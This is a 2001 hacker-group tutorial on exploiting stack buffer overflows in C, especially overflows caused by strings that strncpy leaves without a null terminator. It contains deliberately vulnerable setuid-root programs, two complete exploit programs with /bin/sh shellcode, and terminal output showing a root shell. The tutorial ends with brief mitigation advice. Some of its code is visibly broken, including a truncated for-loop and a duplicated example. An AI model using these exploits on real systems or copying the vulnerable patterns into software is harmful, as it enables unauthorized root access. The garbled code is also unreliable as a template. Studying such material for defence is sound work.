--------------------UNF && pr1 present: Exploiting none terminated buffers-----------------------
----------------------team@u-n-f.com && pr10n@u-n-f.com -----------------------



-----------------------------------------------------------------------------------------------
Copyright (c) October 2001, Sebastian Hegenbart (a.k.a pr1) and UNF (United Net Frontier)
The following material is property of UNF && pr1.
Do not redistribute this article modified and give proper credit to UNF and pr1 if you
redistribute it or if you write your own article based upon the following material.
-----------------------------------------------------------------------------------------------

Prerequesites:
This article assumes that you have a basic knowledge of C. A basic knowledge of exploiting
buffer overflows is as well recommended. Read P49-14 for the whole story ;)
A basic knowledge of the IA-32 architecture is a benefit as well.


After getting popular and being frequently exploited the "normal" buffer overflows are
getting kinda rare nowadays. Despite our new "friends" like strncpy,strncat,snprintf,...
buffer overflows occure and can be exploited. First of all we start with a very simple
so to say "normal" buffer overflow to warm up:

--snip--
/*simp.c demonstrates the most simple buffer overflow condition*/

#include <stdio.h>

main(int argc,char *argv){

char buf[512];

setreuid(0,0);

if( argc < 2 ) {
fprintf(stderr,"usage: %s [your input]\n",argv[0]);
exit(-1);}

/*no bounds checking*/
sprintf(buf,"%s",argv[1]);

printf("You entered: %s\n",buf);
}

--snip--

Although most of programmers are aware of security nowadays there is still code
alike out there.
( see http://u-n-f.com/download/advisories/UNF.12-07.dip3.3.7p )


Due to the fact, that there is no bounds checking, we are able to overwrite the instruction
pointer located on the stack 8 bytes after our buf (on an IA-32 architecture).
The instruction pointer or %eip is used to continue the program at the correct address after
a function returns. Thus: If we own %eip we own the execution flow what means that we own the
program. That's the time where shellcode comes into play.
(See my article: "Shellcode for dummies" for further information on writing shellcode
(www.u-n-f.com))
We jump back into our buffer (or we jump back somewhere else) where shellcode is lying, it is
being executed and we own the process.
--snip--
/* simp-xp.c exploits simp.c */


#include <stdio.h>

/*the ancient Aleph1 shellcode*/

static char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

#define MAX 520

unsigned long get_sp(void){
__asm__("movl %esp,%eax");
}


main(int arc,char *argv[]) {

char buf[MAX+1];
int i=0;

memset(buf,0x90,MAX);
memcpy(buf+(MAX-strlen(shellcode)-8),shellcode,strlen(shellcode));

for(i=MAX-8;i *(long *)&buf[i]=get_sp()-(argv[1]?atol(argv[1]):0);
}

printf("using 0x%x\n",get_sp()-(argv[1]?atol(argv[1]):0));
execl("./simp","simp",buf,(char *)0);
}

/*output*/

pr1@meph# id
uid=500(hegi) gid=100(users) Gruppen=100(users)
pr1@meph# ./simp-xp 100
using 0xbffff768
VÍ1ÛenteØ@ÍèÜÿÿÿ/bin/shp÷ÿ¿p÷ÿ¿p÷ÿ¿@úÿ¿@
sh-2.04# id
uid=0(root) gid=100(users) groups=100(users)



OK. This was easy nevertheless fun to play with ;)

Unfortunately these kind of bugs are getting rare...
But there are other bugs which are fun to play with.

--wake up--

Exploiting not terminated buffers:

As we all know, a character string in C is terminated by a '\0'.
This '\0' tells our functions that they have reached the end of the string and
should not work with addys behind this '\0' in order not to corrupt other data.
After a view into the strncpy manpage we find out:

The strncpy() function is similar, except that not more than n bytes of src are copied.
Thus, if there is no null byte among the first n bytes of src, the result will not be
null-terminated.
In the case where the length of src is less than that of n, the remainder of dest will be
padded with nulls.

Thus if we copy 8 bytes into a buffer that is 8 bytes long with the so "SECURE" strncpy
the string will not be terminated in oder not to overflow the buffer and corrupt other data.
Nice policy hm?

--snip--
/*little code example to demonstrate this behaviour*/

#include <stdio.h>

main(void){

char buf1[8];
char buf2[4];

fgets(buf1,8/*equals sizeof(buf1)*/,stdin);
strncpy(buf2,buf1,4/*equals sizeof(buf2)*/);

printf("buf2 is: %s\n",buf2);}

#include <stdio.h>

main(void){

char buf1[8];
char buf2[4];

bzero(buf1,8);
bzero(buf2,4);

fgets(buf1,8/*equals sizeof(buf1)*/,stdin);
strncpy(buf2,buf1,4/*equals sizeof(buf2)*/);

printf("buf2 is: %s\n",buf2);}

/*looks like this should print the first 4 bytes of our buffer*/

pr1@meph# !gc
gcc-o adj adj.c
pr1@meph# ./adj
aa
buf2 is:aa
/*that have been 3 characters ;) (don't forget the '\n') means strncpy has put a '\0' into
buf2[3];

pr1@meph# ./adj
hacking
buf2 is: hackhacking

/*oh oh; looks like that was to much for our buffer to swallow...*/

--snip--

But what did really happen?
When we gave the input "hacking" our first buffer could take it (strlen("hacking") vs.
sizeof(buf1)) but when we did the: strncpy(buf2,buf1,sizeof(buf2));
We've copied 4 bytes into our 4 byte character buffer. Strncpy didn't want to destroy data in
buf1 and did not terminate the string with a `\0`.
Note that there was no buffer overflow happening.

Parts of our stack looks something like that now:
(assuming our stack grows down)

--------------buf2[0]=h----------------
--------------buf2[1]=a----------------
--------------buf2[2]=c----------------
--------------buf2[3]=k---------------- /*this string is not terminated*/
--------------buf1[0]=h---------------- /*Note that if strncpy hat terminated the character at
--------------buf1[1]=a---------------- /*buf1[0] would have been destroyed*/
--------------buf1[2]=c----------------
--------------buf1[3]=k----------------
--------------buf1[4]=i----------------
--------------buf1[5]=n----------------
--------------buf1[6]=g----------------
--------------buf1[7]='\0'-------------


Printf assumes that a buffer ends with a '\0' and keeps printing characters until there is a
'\0'. So do strcpy,strncpy,memcpy,sprintf,snprintf,...


So what can we do with a none terminated buffer somwhere? Unfortunately not much. We need a
second buffer located behind our first one physically on the stack.

You might ask why the fuck do we need a second buffer located behind our first one?
That's easy. Let's look at this piece of code:

--snip--
#include <stdio.h>

void overflow(char *buf2);

main(int argc,char *argv[]) {

char buf1[20];
char buf2[8];

strncpy(buf2,argv[1],sizeof(buf2));
strncpy(buf1,argv[2],sizeof(buf1));

overflow(buf2);

}
void overflow(buf2){
char dest[12];

strcpy(dest,buf2);
/*buf2 should fit into dest easily*/
}

--snip--

Although this piece of code looks very secure it AINT secure at all. Assuming that we fill buf1
with addys to our shellcode and buf2 with 8 bytes, buf2 will not be terminated by strncpy and
buf2 will be concatenated with buf1 by every usual function operating on C character strings.
That means that we have a 28 byte buffer being copied into a 12 byte buffer...
Looks like a buffer overflow doesn't it?

--snip--

pr1@meph# ./ovf aaaaaaa aaaaaaaaaaaaaa /*7 in argv[1] bytes are ok*/
pr1@meph# ./ovf aaaaaaaa aaaaaaaaaaaaaa /*8 are not!! */
Speicherzugriffsfehler (core dumped)
pr1@meph# gdb -c core
GNU gdb 5.0
Copyright 2000 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions. Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details. This GDB was configured as "i386-pc-linux-gnu".
Core was generated by `./ovf aaaaaaaa aaaaaaaaaaaaaa'.
Program terminated with signal 11, Speicherzugriffsfehler.
#0 0x61616161 in ?? ()
(gdb)

BINGO!!!!

--snip--



Notice:

char buf1[20];
char buf2[8];
char dest[12];

strncpy(buf2,argv[1],sizeof(buf2));
strncpy(buf1,argv[2],sizeof(buf1));

strcpy(dest,buf2);
/*buf2 should fit into dest easily*/

Would not work, because we would need to overwrite buf1 and buf2 as well for overwriting %eip.
Overflow creates a new stack frame with a new %eip starting at *(dest+17) ;)

It's getting funnier... definitely


Let's exploit this example:

--snip--

#include <stdio.h>


static char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long get_sp(void){
__asm__("movl %esp,%eax");}

main(int argc,char *argv[]) {


char small[8]; // -> that will fill argv[1]
char big[20]; // our addys
char evil_buf[100+strlen(shellcode)+1]; // that's where our shellcode will be
int i;

memset(evil_buf,0x90,sizeof(evil_buf));
memcpy(evil_buf+100,shellcode,strlen(shellcode));

/*Because our buffers are too small for the shellcode we put it into
argv[0] ;) */

strcpy(small,"aaaaaaaa");
/* we can put shit in there as long as it's 8
bytes long*/


for(i=0;i<20;i+=4){
*(long *)&big[i]=get_sp()+(argv[1]?atol(argv[1]):0);}


execl("./ovf",evil_buf,small,big,(char *)0);
}

pr1@meph# ./ovf-exp 500
sh-2.04# whoami
root
sh-2.04#

--snip--

Yeah that's fun!


Notice:
If you are up to exploit such a vulnerability with bigger buffers simply put your shellcode into
the first buffer and the addys into the second.

Their might be a NULL in a buffer due to an alignment
issue. The buffer is being padded to the first 4 bytes by the compiler.
That's definitely a problem because it would terminate our buffer. ;)


--wake up--

Workaround:
Stop coding like a chimp! ;)
In order to prevent such bad coding practices you might want to declare your buffers like that:

#define BUFFER_MAX 50
char buffer[BUFFER_MAX+1];

strncpy(buffer,argv[1],BUFFER_MAX);
/*This is secure*/


Functions with the same nice policy are:


all read() derivates,
fread(),memcpy(),
memccpy(),memmove(),
bcopy(),strncat(),
gethostname(),fgets(),
gets() /*we know better ways to exploit that ;) */
loops like:
for(i=0;i < sizeof(buf);i++){
*(ptr1+i)=*(ptr2+i);}



Conclusion: There is code out there seeming to be secure for the unknowing. A benefit for the
Hacker a big problem for the SysAdmins. A lot of unaware people are writing code that seems
to be secure due to the usage of bounds-checking functions. But as we see those functions can be exploited under certain cirumstances as well.
greets to: teso, usf and thc

Last word: This article had some bugs initially. This was mainly caused due to a not working mouse
(not letting me paste the source codes) ;) and not enough coffein.
Thanks to all who pointed some bugs out.
pr1
-----------------------------------------------------------------------------------------------
NULL ;)
-----------------------------------------------------------------------------------------------